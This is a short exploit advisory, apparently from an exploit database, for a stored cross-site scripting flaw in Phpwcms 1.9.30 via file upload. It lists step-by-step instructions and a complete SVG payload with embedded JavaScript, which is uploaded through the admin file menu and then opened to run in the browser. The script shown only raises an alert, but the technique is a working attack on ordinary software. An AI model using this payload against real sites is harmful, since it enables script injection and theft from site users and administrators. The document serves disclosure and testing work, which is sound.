Phpwcms version 1.9.30 suffers from a cross site scripting vulnerability via the file upload functionality.
# Exploit Title: Phpwcms 1.9.30 - File Upload to XSS
# Date: 30/9/2021
# Exploit Author: Okan Kurtulus | okankurtulus.com.tr
# Software Link: http://www.phpwcms.org/
# Version: 1.9.30
# Tested on: Ubuntu 16.04Steps:
1-) You need to login to the system.
http://target.com/phpwcms/login.php
2-) Creating payload with SVG extension: payload.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS!");
</script>
</svg>
3-) Go to the following link and upload the payload:
http://target.com/phpwcms/phpwcms.php?csrftoken=b72d02a26550b9877616c851aa6271be&do=files&p=8
From the menu:
file -> multiple file upload -> Select files or drop here
4-) After uploading payload, call it from the link below.
http://192.168.1.112/phpwcms/upload/